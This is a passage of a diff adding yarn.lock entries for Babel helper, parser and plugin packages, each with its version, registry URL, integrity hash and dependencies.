+  integrity sha512-kSMlyUVdWe25rEsRGviIgOWnoT/nfABVWlqt9N19/dIPWViAOW2s9wznP5tURbs/IDuNk4gPy3YdYRgH3uxhBw==
+
+"@babel/helper-remap-async-to-generator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.25.9.tgz#e53956ab3d5b9fb88be04b3e2f31b523afd34b92"
+  integrity sha512-IZtukuUeBbhgOcaW2s06OXTzVNJR0ybm4W5xC1opWFFJMZbwRj5LCk+ByYH7WdZPZTt8KnFwA8pvjN2yqcPlgw==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-wrap-function" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/helper-replace-supers@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.25.9.tgz#ba447224798c3da3f8713fc272b145e33da6a5c5"
+  integrity sha512-IiDqTOTBQy0sWyeXyGSC5TBJpGFXBkRynjBeXsvbhQFKj2viwJC76Epz35YLU1fpe/Am6Vppb7W7zM4fPQzLsQ==
+  dependencies:
+    "@babel/helper-member-expression-to-functions" "^7.25.9"
+    "@babel/helper-optimise-call-expression" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/helper-skip-transparent-expression-wrappers@^7.20.0", "@babel/helper-skip-transparent-expression-wrappers@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.25.9.tgz#0b2e1b62d560d6b1954893fd2b705dc17c91f0c9"
+  integrity sha512-K4Du3BFa3gvyhzgPcntrkDgZzQaq6uozzcpGbOO1OEJaI+EJdqWIMTLgFgQf6lrfiDFo5FU+BxKepI9RmZqahA==
+  dependencies:
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-string-parser@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz#1aabb72ee72ed35789b4bbcad3ca2862ce614e8c"
+  integrity sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==
+
+"@babel/helper-validator-identifier@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz#24b64e2c3ec7cd3b3c547729b8d16871f22cbdc7"
+  integrity sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==
+
+"@babel/helper-validator-option@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.25.9.tgz#86e45bd8a49ab7e03f276577f96179653d41da72"
+  integrity sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==
+
+"@babel/helper-wrap-function@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-wrap-function/-/helper-wrap-function-7.25.9.tgz#d99dfd595312e6c894bd7d237470025c85eea9d0"
+  integrity sha512-ETzz9UTjQSTmw39GboatdymDq4XIQbR8ySgVrylRhPOFpsd+JrKHIuF0de7GCWmem+T4uC5z7EZguod7Wj4A4g==
+  dependencies:
+    "@babel/template" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helpers@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.26.0.tgz#30e621f1eba5aa45fe6f4868d2e9154d884119a4"
+  integrity sha512-tbhNuIxNcVb21pInl3ZSjksLCvgdZy9KwJ8brv993QtIVKJBBkYXz4q4ZbAv31GdnC+R90np23L5FbEBlthAEw==
+  dependencies:
+    "@babel/template" "^7.25.9"
+    "@babel/types" "^7.26.0"
+
+"@babel/parser@^7.1.0", "@babel/parser@^7.14.7", "@babel/parser@^7.20.7", "@babel/parser@^7.25.9", "@babel/parser@^7.26.0", "@babel/parser@^7.26.3":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.26.3.tgz#8c51c5db6ddf08134af1ddbacf16aaab48bac234"
+  integrity sha512-WJ/CvmY8Mea8iDXo6a7RK2wbmJITT5fN3BEkRuFlxVyNx8jOKIIhmC4fSkTcPcf8JyavbBwIe6OpiCOBXt/IcA==
+  dependencies:
+    "@babel/types" "^7.26.3"
+
+"@babel/plugin-bugfix-firefox-class-in-computed-class-key@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-firefox-class-in-computed-class-key/-/plugin-bugfix-firefox-class-in-computed-class-key-7.25.9.tgz#cc2e53ebf0a0340777fff5ed521943e253b4d8fe"
+  integrity sha512-ZkRyVkThtxQ/J6nv3JFYv1RYY+JT5BvU0y3k5bWrmuG4woXypRa4PXmm9RhOwodRkYFWqC0C0cqcJ4OqR7kW+g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/plugin-bugfix-safari-class-field-initializer-scope@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-safari-class-field-initializer-scope/-/plugin-bugfix-safari-class-field-initializer-scope-7.25.9.tgz#af9e4fb63ccb8abcb92375b2fcfe36b60c774d30"
+  integrity sha512-MrGRLZxLD/Zjj0gdU15dfs+HH/OXvnw/U4jJD8vpcP2CJQapPEv1IWwjc/qMg7ItBlPwSv1hRBbb7LeuANdcnw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.25.9.tgz#e8dc26fcd616e6c5bf2bd0d5a2c151d4f92a9137"
+  integrity sha512-2qUwwfAFpJLZqxd02YW9btUCZHl+RFvdDkNfZwaIJrvB8Tesjsk8pEQkTvGwZXLqXUx/2oyY3ySRhm6HOXuCug==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.25.9.tgz#807a667f9158acac6f6164b4beb85ad9ebc9e1d1"
+  integrity sha512-6xWgLZTJXwilVjlnV7ospI3xi+sl8lN8rXXbBD6vYn3UYDlGsag8wrZkKcSI8G6KgqKP7vNFaDgeDnfAABq61g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/plugin-transform-optional-chaining" "^7.25.9"
+
+"@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.25.9.tgz#de7093f1e7deaf68eadd7cc6b07f2ab82543269e"
+  integrity sha512-aLnMXYPnzwwqhYSCyXfKkIkYgJ8zv9RK+roo9DkTXz38ynIhd9XCbN08s3MGvqL2MYGVUGdRQLL/JqBIeJhJBg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/plugin-proposal-class-properties@^7.16.0":
+  version "7.18.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz#b110f59741895f7ec21a6fff696ec46265c446a3"
+  integrity sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.18.6"
+
+"@babel/plugin-proposal-decorators@^7.16.4":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.25.9.tgz#8680707f943d1a3da2cd66b948179920f097e254"
+  integrity sha512-smkNLL/O1ezy9Nhy4CNosc4Va+1wo5w4gzSZeLe6y6dM4mmHfYOCPolXQPHQxonZCF+ZyebxN9vqOolkYrSn5g==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/plugin-syntax-decorators" "^7.25.9"
+
+"@babel/plugin-proposal-nullish-coalescing-operator@^7.16.0":
+  version "7.18.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz#fdd940a99a740e577d6c753ab6fbb43fdb9467e1"
+  integrity sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
+
+"@babel/plugin-proposal-numeric-separator@^7.16.0":
+  version "7.18.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz#899b14fbafe87f053d2c5ff05b36029c62e13c75"
+  integrity sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
+
+"@babel/plugin-proposal-optional-chaining@^7.16.0":
+  version "7.21.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz#886f5c8978deb7d30f678b2e24346b287234d3ea"
+  integrity sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.20.2"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.20.0"
+    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
+
+"@babel/plugin-proposal-private-methods@^7.16.0":
+  version "7.18.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz#5209de7d213457548a98436fa2882f52f4be6bea"
+  integrity sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.18.6"
+
+"@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2":
+  version "7.21.0-placeholder-for-preset-env.2"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz#7844f9289546efa9febac2de4cfe358a050bd703"
+  integrity sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==
+
+"@babel/plugin-proposal-private-property-in-object@7.21.11":
+  version "7.21.11"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.11.tgz#69d597086b6760c4126525cfa154f34631ff272c"
+  integrity sha512-0QZ8qP/3RLDVBwBFoWAwCtgcDZJVwA5LUJRZU8x2YFfKNuFq161wK3cuGrALu5yiPu+vzwTAg/sMWVNeWeNyaw==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.18.6"
+    "@babel/helper-create-class-features-plugin" "^7.21.0"
+    "@babel/helper-plugin-utils" "^7.20.2"
+    "@babel/plugin-syntax-private-property-in-object" "^7.14.5"
+
+"@babel/plugin-syntax-async-generators@^7.8.4":
+  version "7.8.4"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz#a983fb1aeb2ec3f6ed042a210f640e90e786fe0d"
+  integrity sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-bigint@^7.8.3":
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz#4c9a6f669f5d0cdf1b90a1671e9a146be5300cea"
+  integrity sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-class-properties@^7.12.13":
+  version "7.12.13"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz#b5c987274c4a3a82b89714796931a6b53544ae10"
+  integrity sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-syntax-class-static-block@^7.14.5":
+  version "7.14.5"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz#195df89b146b4b78b3bf897fd7a257c84659d406"
+  integrity sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.14.5"
+
+"@babel/plugin-syntax-decorators@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.25.9.tgz#986b4ca8b7b5df3f67cee889cedeffc2e2bf14b3"
+  integrity sha512-ryzI0McXUPJnRCvMo4lumIKZUzhYUO/ScI+Mz4YVaTLt04DHNSjEUjKVvbzQjZFLuod/cYEc07mJWhzl6v4DPg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-flow@^7.25.9":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.26.0.tgz#96507595c21b45fccfc2bc758d5c45452e6164fa"
+  integrity sha512-B+O2DnPc0iG+YXFqOxv2WNuNU97ToWjOomUQ78DouOENWUaM5sVrmet9mcomUGQFwpJd//gvUagXBSdzO1fRKg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-import-assertions@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.26.0.tgz#620412405058efa56e4a564903b79355020f445f"
+  integrity sha512-QCWT5Hh830hK5EQa7XzuqIkQU9tT/whqbDz7kuaZMHFl1inRRg7JnuAEOQ0Ur0QUl0NufCk1msK2BeY79Aj/eg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-import-attributes@^7.24.7", "@babel/plugin-syntax-import-attributes@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.26.0.tgz#3b1412847699eea739b4f2602c74ce36f6b0b0f7"
+  integrity sha512-e2dttdsJ1ZTpi3B9UYGLw41hifAubg19AtCu/2I/F1QNVclOBr1dYpTdmdyZ84Xiz43BS/tCUkMAZNLv12Pi+A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-import-meta@^7.10.4":
+  version "7.10.4"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz#ee601348c370fa334d2207be158777496521fd51"
+  integrity sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.10.4"
+
+"@babel/plugin-syntax-json-strings@^7.8.3":
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz#01ca21b668cd8218c9e640cb6dd88c5412b2c96a"
+  integrity sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-jsx@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.25.9.tgz#a34313a178ea56f1951599b929c1ceacee719290"
+  integrity sha512-ld6oezHQMZsZfp6pWtbjaNDF2tiiCYYDqQszHt5VV437lewP9aSi2Of99CK0D0XB21k7FLgnLcmQKyKzynfeAA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-logical-assignment-operators@^7.10.4":
+  version "7.10.4"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz#ca91ef46303530448b906652bac2e9fe9941f699"
+  integrity sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.10.4"
+
+"@babel/plugin-syntax-nullish-coalescing-operator@^7.8.3":
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz#167ed70368886081f74b5c36c65a88c03b66d1a9"
+  integrity sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-numeric-separator@^7.10.4":
+  version "7.10.4"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz#b9b070b3e33570cd9fd07ba7fa91c0dd37b9af97"
+  integrity sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.10.4"
+
+"@babel/plugin-syntax-object-rest-spread@^7.8.3":
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz#60e225edcbd98a640332a2e72dd3e66f1af55871"
+  integrity sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-optional-catch-binding@^7.8.3":
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz#6111a265bcfb020eb9efd0fdfd7d26402b9ed6c1"
+  integrity sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-optional-chaining@^7.8.3":
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz#4f69c2ab95167e0180cd5336613f8c5788f7d48a"
+  integrity sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-private-property-in-object@^7.14.5":
+  version "7.14.5"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz#0dc6671ec0ea22b6e94a1114f857970cd39de1ad"
+  integrity sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.14.5"
+
+"@babel/plugin-syntax-top-level-await@^7.14.5":
+  version "7.14.5"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz#c1cfdadc35a646240001f06138247b741c34d94c"
+  integrity sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.14.5"
+
+"@babel/plugin-syntax-typescript@^7.25.9", "@babel/plugin-syntax-typescript@^7.7.2":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.25.9.tgz#67dda2b74da43727cf21d46cf9afef23f4365399"
+  integrity sha512-hjMgRy5hb8uJJjUcdWunWVcoi9bGpJp8p5Ol1229PoN6aytsLwNMgmdftO23wnCLMfVmTwZDWMPNq/D1SY60JQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-unicode-sets-regex@^7.18.6":
+  version "7.18.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz#d49a3b3e6b52e5be6740022317580234a6a47357"
+  integrity sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.18.6"
+
+"@babel/plugin-transform-arrow-functions@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.25.9.tgz#7821d4410bee5daaadbb4cdd9a6649704e176845"
+  integrity sha512-6jmooXYIwn9ca5/RylZADJ+EnSxVUS5sjeJ9UPk6RWRzXCmOJCy6dqItPJFpw2cuCangPK4OYr5uhGKcmrm5Qg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-async-generator-functions@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.25.9.tgz#1b18530b077d18a407c494eb3d1d72da505283a2"
+  integrity sha512-RXV6QAzTBbhDMO9fWwOmwwTuYaiPbggWQ9INdZqAYeSHyG7FzQ+nOZaUUjNwKv9pV3aE4WFqFm1Hnbci5tBCAw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-remap-async-to-generator" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/plugin-transform-async-to-generator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.25.9.tgz#c80008dacae51482793e5a9c08b39a5be7e12d71"
+  integrity sha512-NT7Ejn7Z/LjUH0Gv5KsBCxh7BH3fbLTV0ptHvpeMvrt3cPThHfJfst9Wrb7S8EvJ7vRTFI7z+VAvFVEQn/m5zQ==
+  dependencies:
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-remap-async-to-generator" "^7.25.9"
+
+"@babel/plugin-transform-block-scoped-functions@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.25.9.tgz#5700691dbd7abb93de300ca7be94203764fce458"
+  integrity sha512-toHc9fzab0ZfenFpsyYinOX0J/5dgJVA2fm64xPewu7CoYHWEivIWKxkK2rMi4r3yQqLnVmheMXRdG+k239CgA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-block-scoping@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.25.9.tgz#c33665e46b06759c93687ca0f84395b80c0473a1"
+  integrity sha512-1F05O7AYjymAtqbsFETboN1NvBdcnzMerO+zlMyJBEz6WkMdejvGWw9p05iTSjC85RLlBseHHQpYaM4gzJkBGg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-class-properties@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.25.9.tgz#a8ce84fedb9ad512549984101fa84080a9f5f51f"
+  integrity sha512-bbMAII8GRSkcd0h0b4X+36GksxuheLFjP65ul9w6C3KgAamI3JqErNgSrosX6ZPj+Mpim5VvEbawXxJCyEUV3Q==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-class-static-block@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.26.0.tgz#6c8da219f4eb15cae9834ec4348ff8e9e09664a0"
+  integrity sha512-6J2APTs7BDDm+UMqP1useWqhcRAXo0WIoVj26N7kPFB6S73Lgvyka4KTZYIxtgYXiN5HTyRObA72N2iu628iTQ==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-classes@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.25.9.tgz#7152457f7880b593a63ade8a861e6e26a4469f52"
+  integrity sha512-mD8APIXmseE7oZvZgGABDyM34GUmK45Um2TXiBUt7PnuAxrgoSVf123qUzPxEr/+/BHrRn5NMZCdE2m/1F8DGg==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+    globals "^11.1.0"
+
+"@babel/plugin-transform-computed-properties@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.25.9.tgz#db36492c78460e534b8852b1d5befe3c923ef10b"
+  integrity sha512-HnBegGqXZR12xbcTHlJ9HGxw1OniltT26J5YpfruGqtUHlz/xKf/G2ak9e+t0rVqrjXa9WOhvYPz1ERfMj23AA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/template" "^7.25.9"
+
+"@babel/plugin-transform-destructuring@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.25.9.tgz#966ea2595c498224340883602d3cfd7a0c79cea1"
+  integrity sha512-WkCGb/3ZxXepmMiX101nnGiU+1CAdut8oHyEOHxkKuS1qKpU2SMXE2uSvfz8PBuLd49V6LEsbtyPhWC7fnkgvQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-dotall-regex@^7.25.9":
+  version "7.25.9"
